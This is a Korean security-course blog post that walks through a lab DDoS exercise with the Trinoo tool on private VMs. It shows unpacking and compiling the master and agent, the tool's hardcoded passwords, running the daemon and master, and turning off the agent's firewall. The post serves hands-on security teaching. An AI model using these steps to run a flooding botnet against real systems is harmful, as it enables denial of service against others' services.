본문 바로가기

교육/Security

Day 73 (DDoS)

반응형

<목차>

1. 목적

2. 사용 툴 & 구성 환경

3. 실습 과정

4. 결과 확인


1. 목적

공격자인 마스터가 에이전트에 명령을 내려 패킷을 생성하여 피해자에게 공격하는 방법이다.

 

2. 사용 툴 & 구성 환경

1) Trinoo : 마스터, 에이전트가 DDoS공격을 하기 위해 사용하는 툴이다. UDP를 기본으로 하는 공격을 시행하며 ‘statd, cmsd, ttdbserverd’ 데몬이 주 공격 대상이다. Trinoo는 기본적으로 아래 표와 같은 포트 번호를 사용하지만 소스 코드에서 임의로 변경이 가능하다. 32bit운영체제에서 주로 사용하며 64bit운영체제에서는 작동을 보장하지 않는다.

 

2) 구성 환경

  IP 운영 체제
마스터 192.168.111.26 Cent OS 6
에이전트 192.168.111.136 Cent OS 6
피해자 192.168.111.29 Windows XP

 

3. 실습 과정

[root@ap ~]# mkdir trinoo
[root@ap ~]# mv trinoo.tar ./trinoo // trinoo.tar파일은 디렉토리안에 압축 해제가 되지 않기 때문에 디렉토리 생성후에 압축해제를 해야한다.
[root@ap ~]# cd trinoo
[root@ap trinoo]# ls
trinoo.tar
[root@ap trinoo]# tar xvf trinoo.tar // trinoo파일 압축 해제
password
BENSUQS
daemon/ns.c
master/master.c
master/strfix.h
master/Makefile
master/blowfish.c
master/blowfish.h
master/bf_tab.h
[root@ap trinoo]# cat password
master server startup: when ask for "??" .. gOrave      // master프로그램 실행시 사용하는 비밀번호
telnet to master server: (port 27665) "betaalmostdone"  // telnet접속시 사용하는 비밀번호

1) 마스터에서의 컴파일

[root@6-32 trinoo]# cd master
[root@6-32 master]# ls
Makefile  bf_tab.h  blowfish.c  blowfish.h  master.c  strfix.h
[root@6-32 master]# make
gcc -o master master.c blowfish.c -lcrypt
blowfish.c: In function ‘blowfish_init’:
blowfish.c:131: warning: incompatible implicit declaration of built-in function ‘strncpy’
blowfish.c: In function ‘encrypt_string’:
blowfish.c:192: warning: incompatible implicit declaration of built-in function ‘strlen’
blowfish.c:194: warning: incompatible implicit declaration of built-in function ‘strcpy’
blowfish.c: In function ‘decrypt_string’:
blowfish.c:232: warning: incompatible implicit declaration of built-in function ‘strlen’
blowfish.c:234: warning: incompatible implicit declaration of built-in function ‘strcpy’
strip master
[root@6-32 master]# ls
Makefile  bf_tab.h  blowfish.c  blowfish.h  master  master.c  strfix.h

 

2) 에이전트에서의 컴파일

[root@ap trinoo]# cat daemon/ns.c
/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
...
int getsock()
{
 int i;
 if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
   return i;
 else
   return -1;
}

마스터의 IP를 지정한다.

[root@ap trinoo]# mv daemon/ns.c ./master/
[root@ap trinoo]# cd master
[root@ap master]# ls
Makefile  bf_tab.h  blowfish.c  blowfish.h  master.c  strfix.h
[root@ap master]# vi Makefile
#slackware..
#LIBS=
LIBS=   -lcrypt
master: master.c blowfish.c
        gcc -o master master.c blowfish.c ${LIBS}
        strip master

에이전트의 컴파일 명령어 실행을 수정한다.

3) 에이전트에서 데몬을 실행시킨다.

[root@ap master]# ./daemon
[root@ap master]# ps -ax | grep daemon
   548 ?        Ss     0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
   551 ?        Ssl    0:00 /usr/sbin/NetworkManager --no-daemon
   747 ?        Ssl    0:00 /usr/libexec/accounts-daemon
   773 ?        Ss     0:00 /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
   781 ?        S      0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
   822 ?        SNsl   0:00 /usr/libexec/rtkit-daemon
   835 ?        Sl     0:00 ibus-daemon --xim --panel disable
   841 ?        Sl     0:00 /usr/libexec/ibus-x11 --kill-daemon
  1197 pts/0    S      0:00 ./daemon
  1212 pts/0    S+     0:00 grep --color=auto daemon

4) 공격자가 마스터를 실행시킨다.

[root@6-32 master]# ./master
?? gOrave
trinoo v1.07d2+f3+c [Mar 11 2020:17:30:30]
[root@6-32 master]# ps
  PID TTY          TIME CMD
 1419 pts/0    00:00:00 bash
 1472 pts/0    00:00:00 master
 1473 pts/0    00:00:00 ps

5) 에이전트의 데몬이 실행됨을 확인하고, Telnet을 이용해 마스터에 접속한다.

telnet을 이용해 공격한다.

 

4. 결과 확인

 

첫번째 시도는 패킷 전송시도까지는 이루어졌으나 Cent OS 7환경의 에이전트에서 작동이 되지 않아 Cent OS 6 환경을 다시 설치하였다. 하지만 에이전트로 사용할 Cent OS 6환경에서 방화벽이 활성화 되어 있어서 패킷이 전송되지 않았다.

/etc/init.d/iptables stop // Cent OS 6의 방화벽을 해제시킨다.
/etc/init.d/iptables status // Cent OS 6에서 방화벽의 상태를 확인한다.

Time부분을 보게되면 매우 짧은 시간 안에 적어도 2~6개 이상의 많은 수의 패킷이 피해자에게 전송된다. 하지만 공격하는 에이전트도 리소스를 많이 소모하여 정상적 사용이 불가능 할정도로 성능이 현저히 저하가된다.

 

참고로 Cent OS 7환경에서 실행하게 되면 daemon의 서비스가 강제 종료된다.

 

반응형

'교육 > Security' 카테고리의 다른 글

Day 74 (Web mitm)  (0) 2020.03.12
Day 74 (TCP Hijacking)  (2) 2020.03.12
Day 73 (DoS Attack)  (0) 2020.03.11
Day 73 (Hidden Channel)  (0) 2020.03.11
Day 73 (Tunneling)  (0) 2020.03.11